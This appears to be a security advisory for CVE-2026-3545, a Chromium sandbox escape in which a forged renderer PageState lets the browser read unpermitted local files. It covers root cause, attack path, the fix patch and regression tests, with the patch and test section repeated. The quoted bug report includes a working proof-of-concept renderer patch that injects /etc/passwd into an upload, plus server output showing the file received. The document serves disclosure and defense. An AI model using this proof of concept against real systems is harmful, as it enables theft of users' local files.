CVE-2026-3545
Overview
Background
- `PageState`
- A
blink-serialized, renderer-supplied blob capturing a frame’s session history, including form/POST body data and referenced local file paths. - `ChildProcessSecurityPolicyImpl`
- The browser-process authority that records and enforces which local files a given renderer process is permitted to read.
- `GetReferencedFiles`
- A
PageStateaccessor that returns the list of file paths the browser treats as the set requiring read-permission validation. - `DidCommit` IPC
- The message a renderer sends to the browser to report a committed navigation, carrying the attacker-influenceable
PageState.
Root Cause Analysis
The vulnerable path was RenderFrameHostImpl::CanAccessFilesOfPageState, which authorized a navigation’s file access by passing only state.GetReferencedFiles() into ChildProcessSecurityPolicyImpl::CanReadAllFiles. The security invariant is that every file path embedded anywhere in the attacker-controlled PageState must be covered by the permission check, but GetReferencedFiles did not necessarily enumerate all of them — a malicious renderer could plant a file path (for example inside the top document’s http_body.request_body via AppendFileRange) that never appeared in the validated list. Because the browser validated a subset while later machinery could still consume the full PageState, an unlisted file bypassed the CanReadAllFiles gate entirely.
The fix independently re-enumerates the complete file set with blink::GetAllFilesInPageState(state.ToEncodedData(), &all_files) and rejects the navigation if any recovered file is absent from the referenced_files set. It also fails closed when enumeration itself fails to fully parse the PageState, so a corrupted blob crafted to hide paths cannot slip through.
GetReferencedFiles() as an exhaustive account of the files in an attacker-controlled PageState when it was not, letting unlisted paths escape validation; the fix cross-checks the authoritative full-file enumeration (GetAllFilesInPageState) against the validated set and kills the renderer on any mismatch or parse failure.Attack Path
- Compromise a renderer The attacker gains code execution in a renderer process, the standard precondition for forging browser-bound IPC.
- Forge a PageState
They build an
ExplodedPageStatewhosehttp_body.request_bodyreferences an off-limits file (e.g./tmp/offlimits) viaAppendFileRange, a path deliberately excluded from whatGetReferencedFilesreports. - Deliver via DidCommit
The crafted
PageStateis placed into the navigation’sDidCommitProvisionalLoadParamsso the browser processes it during commit. - Bypass validation
CanAccessFilesOfPageStatevalidates only the (incomplete) referenced list, so the hidden file is never checked againstCanReadAllFiles. - Leverage unauthorized access
The unlisted file rides along in the
PageState/POST body, letting the renderer reach a local file it was never granted permission to read.
Impact Assessment
ChildProcessSecurityPolicyImpl in the privileged browser process. The practical gain is unauthorized access to local files the renderer’s sandbox should have denied, amounting to a sandbox-escape-class information disclosure. The precondition is prior control of a renderer capable of emitting a forged DidCommit PageState.Changed Functions
| Function | Change | Notes |
|---|---|---|
forcontent/browser/renderer_host/render_frame_host_impl.cc |
modified | |
DidCommitPageStateReplacercontent/browser/security_exploit_browsertest.cc |
modified | |
replacement_page_state_content/browser/security_exploit_browsertest.cc |
modified | |
IN_PROC_BROWSER_TEST_Fcontent/browser/security_exploit_browsertest.cc |
modified |
Files Changed
content/browser/renderer_host/render_frame_host_impl.cccontent/browser/security_exploit_browsertest.cc
Audit Directions
- Subset-only validationFlag any security check that validates a derived list (like
GetReferencedFiles) instead of the complete, authoritative contents of an attacker-controlled structure. - Fail-open parsingVerify that partial or failed deserialization of untrusted blobs (such as
PageState) results in rejection rather than proceeding with a possibly incomplete view. - Renderer-supplied file pathsTrace every consumer of
PageStatefile data (request bodies, document state, subframes) to confirm each path is covered by aChildProcessSecurityPolicyImplread check before use.
Patch
From 03580574961d57c7ba5723afdc6605045b4fa0ef Mon Sep 17 00:00:00 2001
From: Charlie Reis <creis@chromium.org>
Date: Thu, 26 Feb 2026 15:23:48 -0800
Subject: [PATCH] Ensure that all files in a PageState are present in GetReferencedFiles.
This depends on updating AppendReferencedFilesFromDocumentState to
handle PageState version 14, which can have value_sizes of 0 or
multiples of 3.
Bug: 487383169
Change-Id: I3c8d3ee7d198d7fad5d180cf4e4e8bd62d18d79b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7609011
Reviewed-by: Kent Tamura <tkent@chromium.org>
Reviewed-by: Alex Moshchuk <alexmos@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Auto-Submit: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1591151}
---
diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
index 2513348..a71222b 100644
--- a/content/browser/renderer_host/render_frame_host_impl.cc
+++ b/content/browser/renderer_host/render_frame_host_impl.cc
@@ -279,6 +279,7 @@
#include "third_party/blink/public/common/loader/resource_type_util.h"
#include "third_party/blink/public/common/messaging/transferable_message.h"
#include "third_party/blink/public/common/navigation/navigation_params_mojom_traits.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
#include "third_party/blink/public/common/permissions/permission_utils.h"
#include "third_party/blink/public/common/permissions_policy/document_policy.h"
#include "third_party/blink/public/common/permissions_policy/policy_helper_public.h"
@@ -13729,8 +13730,29 @@
bool RenderFrameHostImpl::CanAccessFilesOfPageState(
const blink::PageState& state) {
+ // Ensure that all of the files in the PageState were actually listed in the
+ // GetReferencedFiles list, using a set to prune duplicates.
+ // See https://crbug.com/487383169.
+ std::vector<base::FilePath> all_files;
+ if (!blink::GetAllFilesInPageState(state.ToEncodedData(), &all_files)) {
+ // All files in the PageState weren't recovered due to parsing failures.
+ // The renderer should be killed instead of proceeding with a PageState that
+ // might still contain files that could be used without being validated.
+ return false;
+ }
+ std::vector<base::FilePath> referenced_files = state.GetReferencedFiles();
+ std::set<base::FilePath> referenced_file_set(referenced_files.begin(),
+ referenced_files.end());
+ for (const base::FilePath& file : all_files) {
+ if (!referenced_file_set.contains(file)) {
+ // Found a file that was not in the list to be validated, so the renderer
+ // should be killed.
+ return false;
+ }
+ }
+
return ChildProcessSecurityPolicyImpl::GetInstance()->CanReadAllFiles(
- GetProcess()->GetID(), state.GetReferencedFiles());
+ GetProcess()->GetID(), referenced_files);
}
void RenderFrameHostImpl::GrantFileAccessFromPageState(
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index a0d347f..4d0c4617 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -90,6 +90,7 @@
#include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
#include "services/network/public/cpp/network_switches.h"
#include "services/network/public/cpp/resource_request.h"
+#include "services/network/public/cpp/resource_request_body.h"
#include "services/network/public/mojom/fetch_api.mojom.h"
#include "services/network/public/mojom/trust_tokens.mojom.h"
#include "services/network/public/mojom/url_loader.mojom.h"
@@ -102,6 +103,7 @@
#include "third_party/blink/public/common/fenced_frame/fenced_frame_utils.h"
#include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
#include "third_party/blink/public/common/navigation/navigation_policy.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
#include "third_party/blink/public/mojom/blob/blob_url_store.mojom.h"
#include "third_party/blink/public/mojom/choosers/file_chooser.mojom.h"
#include "third_party/blink/public/mojom/fenced_frame/fenced_frame.mojom.h"
@@ -1596,6 +1598,130 @@
EXPECT_EQ(bad_message::RFH_INVALID_WEB_UI_CONTROLLER, kill_waiter.Wait());
}
+namespace {
+
+// An interceptor class that allows replacing the PageState of the DidCommit IPC
+// from the renderer process to the browser process.
+class DidCommitPageStateReplacer : public DidCommitNavigationInterceptor {
+ public:
+ DidCommitPageStateReplacer(WebContents* web_contents,
+ const blink::PageState& page_state)
+ : DidCommitNavigationInterceptor(web_contents),
+ replacement_page_state_(page_state) {}
+
+ DidCommitPageStateReplacer(const DidCommitPageStateReplacer&) = delete;
+ DidCommitPageStateReplacer& operator=(const DidCommitPageStateReplacer&) =
+ delete;
+
+ ~DidCommitPageStateReplacer() override = default;
+
+ protected:
+ bool WillProcessDidCommitNavigation(
+ RenderFrameHost* render_frame_host,
+ NavigationRequest* navigation_request,
+ mojom::DidCommitProvisionalLoadParamsPtr* params,
+ mojom::DidCommitProvisionalLoadInterfaceParamsPtr* interface_params)
+ override {
+ (**params).page_state = replacement_page_state_;
+ return true;
+ }
+
+ private:
+ blink::PageState replacement_page_state_;
+};
+
+} // namespace
+
+// Test that committing a navigation with a PageState that does not list all of
+// its file paths in GetReferencedFiles will cause a renderer kill.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest, PageStateWithUnlistedFile) {
+ // Navigate to foo.com initially.
+ GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+ // Create a PageState that contains a file path which isn't in the list of
+ // referenced files which are validated.
+ GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+ blink::ExplodedPageState exploded_page_state;
+ ASSERT_TRUE(blink::DecodePageState(
+ blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+ &exploded_page_state));
+ scoped_refptr<network::ResourceRequestBody> request_body =
+ new network::ResourceRequestBody();
+ base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+ request_body->AppendFileRange(
+ bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+ exploded_page_state.top.http_body.request_body = request_body;
+ exploded_page_state.top.http_body.http_content_type = u"text/plain";
+ std::string encoded_page_state;
+ blink::EncodePageState(exploded_page_state, &encoded_page_state);
+ blink::PageState page_state =
+ blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+ // Create an interceptor which will put the modified PageState into the next
+ // navigation's DidCommit message.
+ DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+ page_state);
+
+ // Navigate in the same renderer process to send the bad PageState.
+ RenderFrameHostImpl* rfh = static_cast<RenderFrameHostImpl*>(
+ shell()->web_contents()->GetPrimaryMainFrame());
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(rfh->GetProcess());
+ EXPECT_TRUE(NavigateToURLAndExpectNoCommit(shell(), foo_url2));
+
+ // Verify that the malicious renderer was killed, for the right reason.
+ EXPECT_EQ(bad_message::RFH_CAN_ACCESS_FILES_OF_PAGE_STATE_AT_COMMIT,
+ kill_waiter.Wait());
+}
+
+// Similar to the test above, but also uses a malformed DocumentState within the
+// corrupted PageState, to make it harder to find file paths that are present.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
+ PageStateWithUnlistedFileAndBadDocumentState) {
+ // Navigate to foo.com initially.
+ GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+ // Create a PageState that contains a file path which isn't in the list of
+ // referenced files which are validated.
+ GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+ blink::ExplodedPageState exploded_page_state;
+ ASSERT_TRUE(blink::DecodePageState(
+ blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+ &exploded_page_state));
+ scoped_refptr<network::ResourceRequestBody> request_body =
+ new network::ResourceRequestBody();
+ base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+ request_body->AppendFileRange(
+ bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+ exploded_page_state.top.http_body.request_body = request_body;
+ exploded_page_state.top.http_body.http_content_type = u"text/plain";
+
+ // Also modify the DocumentState to force RecursivelyAppendReferencedFiles to
+ // return false.
+ exploded_page_state.top.document_state = {u"one", u"two"};
+
+ std::string encoded_page_state;
+ blink::EncodePageState(exploded_page_state, &encoded_page_state);
+ blink::PageState page_state =
+ blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+ // Create an interceptor which will put the modified PageState into the next
+ // navigation's DidCommit message.
+ DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+ page_state);
+
+ // Navigate in the same renderer process to send the bad PageState.
Regression Test / PoC
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index a0d347f..4d0c4617 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -90,6 +90,7 @@
#include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
#include "services/network/public/cpp/network_switches.h"
#include "services/network/public/cpp/resource_request.h"
+#include "services/network/public/cpp/resource_request_body.h"
#include "services/network/public/mojom/fetch_api.mojom.h"
#include "services/network/public/mojom/trust_tokens.mojom.h"
#include "services/network/public/mojom/url_loader.mojom.h"
@@ -102,6 +103,7 @@
#include "third_party/blink/public/common/fenced_frame/fenced_frame_utils.h"
#include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
#include "third_party/blink/public/common/navigation/navigation_policy.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
#include "third_party/blink/public/mojom/blob/blob_url_store.mojom.h"
#include "third_party/blink/public/mojom/choosers/file_chooser.mojom.h"
#include "third_party/blink/public/mojom/fenced_frame/fenced_frame.mojom.h"
@@ -1596,6 +1598,130 @@
EXPECT_EQ(bad_message::RFH_INVALID_WEB_UI_CONTROLLER, kill_waiter.Wait());
}
+namespace {
+
+// An interceptor class that allows replacing the PageState of the DidCommit IPC
+// from the renderer process to the browser process.
+class DidCommitPageStateReplacer : public DidCommitNavigationInterceptor {
+ public:
+ DidCommitPageStateReplacer(WebContents* web_contents,
+ const blink::PageState& page_state)
+ : DidCommitNavigationInterceptor(web_contents),
+ replacement_page_state_(page_state) {}
+
+ DidCommitPageStateReplacer(const DidCommitPageStateReplacer&) = delete;
+ DidCommitPageStateReplacer& operator=(const DidCommitPageStateReplacer&) =
+ delete;
+
+ ~DidCommitPageStateReplacer() override = default;
+
+ protected:
+ bool WillProcessDidCommitNavigation(
+ RenderFrameHost* render_frame_host,
+ NavigationRequest* navigation_request,
+ mojom::DidCommitProvisionalLoadParamsPtr* params,
+ mojom::DidCommitProvisionalLoadInterfaceParamsPtr* interface_params)
+ override {
+ (**params).page_state = replacement_page_state_;
+ return true;
+ }
+
+ private:
+ blink::PageState replacement_page_state_;
+};
+
+} // namespace
+
+// Test that committing a navigation with a PageState that does not list all of
+// its file paths in GetReferencedFiles will cause a renderer kill.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest, PageStateWithUnlistedFile) {
+ // Navigate to foo.com initially.
+ GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+ // Create a PageState that contains a file path which isn't in the list of
+ // referenced files which are validated.
+ GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+ blink::ExplodedPageState exploded_page_state;
+ ASSERT_TRUE(blink::DecodePageState(
+ blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+ &exploded_page_state));
+ scoped_refptr<network::ResourceRequestBody> request_body =
+ new network::ResourceRequestBody();
+ base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+ request_body->AppendFileRange(
+ bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+ exploded_page_state.top.http_body.request_body = request_body;
+ exploded_page_state.top.http_body.http_content_type = u"text/plain";
+ std::string encoded_page_state;
+ blink::EncodePageState(exploded_page_state, &encoded_page_state);
+ blink::PageState page_state =
+ blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+ // Create an interceptor which will put the modified PageState into the next
+ // navigation's DidCommit message.
+ DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+ page_state);
+
+ // Navigate in the same renderer process to send the bad PageState.
+ RenderFrameHostImpl* rfh = static_cast<RenderFrameHostImpl*>(
+ shell()->web_contents()->GetPrimaryMainFrame());
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(rfh->GetProcess());
+ EXPECT_TRUE(NavigateToURLAndExpectNoCommit(shell(), foo_url2));
+
+ // Verify that the malicious renderer was killed, for the right reason.
+ EXPECT_EQ(bad_message::RFH_CAN_ACCESS_FILES_OF_PAGE_STATE_AT_COMMIT,
+ kill_waiter.Wait());
+}
+
+// Similar to the test above, but also uses a malformed DocumentState within the
+// corrupted PageState, to make it harder to find file paths that are present.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
+ PageStateWithUnlistedFileAndBadDocumentState) {
+ // Navigate to foo.com initially.
+ GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+ // Create a PageState that contains a file path which isn't in the list of
+ // referenced files which are validated.
+ GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+ blink::ExplodedPageState exploded_page_state;
+ ASSERT_TRUE(blink::DecodePageState(
+ blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+ &exploded_page_state));
+ scoped_refptr<network::ResourceRequestBody> request_body =
+ new network::ResourceRequestBody();
+ base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+ request_body->AppendFileRange(
+ bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+ exploded_page_state.top.http_body.request_body = request_body;
+ exploded_page_state.top.http_body.http_content_type = u"text/plain";
+
+ // Also modify the DocumentState to force RecursivelyAppendReferencedFiles to
+ // return false.
+ exploded_page_state.top.document_state = {u"one", u"two"};
+
+ std::string encoded_page_state;
+ blink::EncodePageState(exploded_page_state, &encoded_page_state);
+ blink::PageState page_state =
+ blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+ // Create an interceptor which will put the modified PageState into the next
+ // navigation's DidCommit message.
+ DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+ page_state);
+
+ // Navigate in the same renderer process to send the bad PageState.
+ RenderFrameHostImpl* rfh = static_cast<RenderFrameHostImpl*>(
+ shell()->web_contents()->GetPrimaryMainFrame());
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(rfh->GetProcess());
+ EXPECT_TRUE(NavigateToURLAndExpectNoCommit(shell(), foo_url2));
+
+ // Verify that the malicious renderer was killed, for the right reason.
+ EXPECT_EQ(bad_message::RFH_CAN_ACCESS_FILES_OF_PAGE_STATE_AT_COMMIT,
+ kill_waiter.Wait());
+}
+
class BeginNavigationTransitionReplacer : public FrameHostInterceptor {
public:
BeginNavigationTransitionReplacer(WebContents* web_contents,
Original Bug Report
Sandbox escape: renderer -> arbitrary file read via modified PageState
VULNERABILITY DETAILS
A sandbox escape allows a compromised renderer to trick the browser into uploading arbitrary files from the user’s system without the corresponding file access permissions.
VERSION
Chrome Version: built from recent git, with C++ patch applied to renderer only
Operating System: tested on Linux
REPRODUCTION CASE
Video of repro attached.
- Patch the renderer with the diff below.
- Run the attached Python script to create a server.
- Navigate to http://127.0.0.1:8000/
- Press the button to start the exploit.
- Refresh when you see a redirection error.
Result: /etc/passwd is sent to remote server.
Patch to renderer (assumes renderer already compromised):
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index d837ffbb8abfb..486c5ce9b2820 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -163,6 +163,8 @@
#include "third_party/blink/public/common/navigation/navigation_params_mojom_traits.h"
#include "third_party/blink/public/common/navigation/navigation_policy.h"
#include "third_party/blink/public/common/page_state/page_state.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
+#include "services/network/public/cpp/resource_request_body.h"
#include "third_party/blink/public/common/renderer_preferences/renderer_preferences.h"
#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
#include "third_party/blink/public/mojom/blob/blob.mojom.h"
@@ -5021,9 +5023,41 @@ RenderFrameImpl::MakeDidCommitProvisionalLoadParams(
params->page_state = GetWebFrame()->CurrentHistoryItemToPageState();
params->method = document_loader->HttpMethod().Latin1();
- if (params->method == "POST")
+ if (params->method == "POST") {
params->post_id = ExtractPostId(item);
+ // --- START MALICIOUS MODIFICATION ---
+ LOG(INFO) << "MALICIOUS: Intercepting POST navigation commit, preparing crafted PageState";
+ blink::ExplodedPageState exploded_page_state;
+ if (blink::DecodePageState(params->page_state.ToEncodedData(), &exploded_page_state)) {
+ // 1. Clear referenced_files to bypass CanAccessFilesOfPageState
+ exploded_page_state.referenced_files.clear();
+
+ // 2. Craft malicious ResourceRequestBody
+ scoped_refptr<network::ResourceRequestBody> malicious_body =
+ new network::ResourceRequestBody();
+
+ base::FilePath target_file = base::FilePath::FromUTF8Unsafe("/etc/passwd");
+ malicious_body->AppendFileRange(
+ target_file,
+ 0,
+ std::numeric_limits<uint64_t>::max(),
+ base::Time());
+
+ // 3. Inject into the HTTP body of the top frame
+ exploded_page_state.top.http_body.request_body = malicious_body;
+ exploded_page_state.top.http_body.http_content_type = u"text/plain";
+
+ std::string encoded_malicious_page_state;
+ blink::EncodePageState(exploded_page_state, &encoded_malicious_page_state);
+ params->page_state = blink::PageState::CreateFromEncodedData(encoded_malicious_page_state);
+ LOG(INFO) << "MALICIOUS: PageState modification complete. Body contains file: /etc/passwd";
+ } else {
+ LOG(ERROR) << "MALICIOUS: Failed to decode PageState!";
+ }
+ // --- END MALICIOUS MODIFICATION ---
+ }
+
params->item_sequence_number = item.ItemSequenceNumber();
params->document_sequence_number = item.DocumentSequenceNumber();
params->navigation_api_key = item.GetNavigationApiKey().Utf8();
Output from Python server, demonstrating that it received /etc/passwd:
127.0.0.1 - - [24/Feb/2026 16:46:47] GET request to /trigger
127.0.0.1 - - [24/Feb/2026 16:46:47] "GET /trigger HTTP/1.1" 200 -
127.0.0.1 - - [24/Feb/2026 16:46:51] POST request to /upload
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! EXPLOIT SUCCESSFUL !!! /etc/passwd contents received.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
root:x:0:0:root:/root:/bin/bash
...
CREDIT INFORMATION
Reporter credit: Ryan Lothian